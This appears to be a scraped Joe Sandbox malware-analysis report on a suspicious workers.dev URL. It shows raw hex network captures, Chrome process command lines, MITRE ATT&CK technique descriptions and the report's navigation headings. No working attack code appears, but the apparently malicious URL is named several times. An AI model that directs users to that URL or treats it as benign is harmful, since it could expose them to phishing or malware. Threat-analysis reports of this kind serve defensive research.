2024-04-26 22:11:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 22:11:57 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 4416, Parent PID: 984

General

Target ID:	0
Start time:	00:10:58
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5676, Parent PID: 3756

General

Target ID:	1
Start time:	00:11:04
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5172, Parent PID: 3756

General

Target ID:	2
Start time:	00:11:04
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5548, Parent PID: 4416

General

Target ID:	4
Start time:	00:11:04
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2004,i,16022649671315298078,13859410041468370579,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6204, Parent PID: 5676

General

Target ID:	5
Start time:	00:11:04
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1992,i,14263432410768050684,433587216410726190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6644, Parent PID: 5172

General

Target ID:	6
Start time:	00:11:05
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2044,i,7680465656722877014,17094009760014924907,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3484, Parent PID: 984

General

Target ID:	10
Start time:	00:11:32
Start date:	27/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://worker-curly-silence-18d1.pistisarte.workers.dev/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://worker-curly-silence-18d1.pistisarte.workers.dev/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
https://worker-curly-silence-18d1.pistisarte.workers.dev/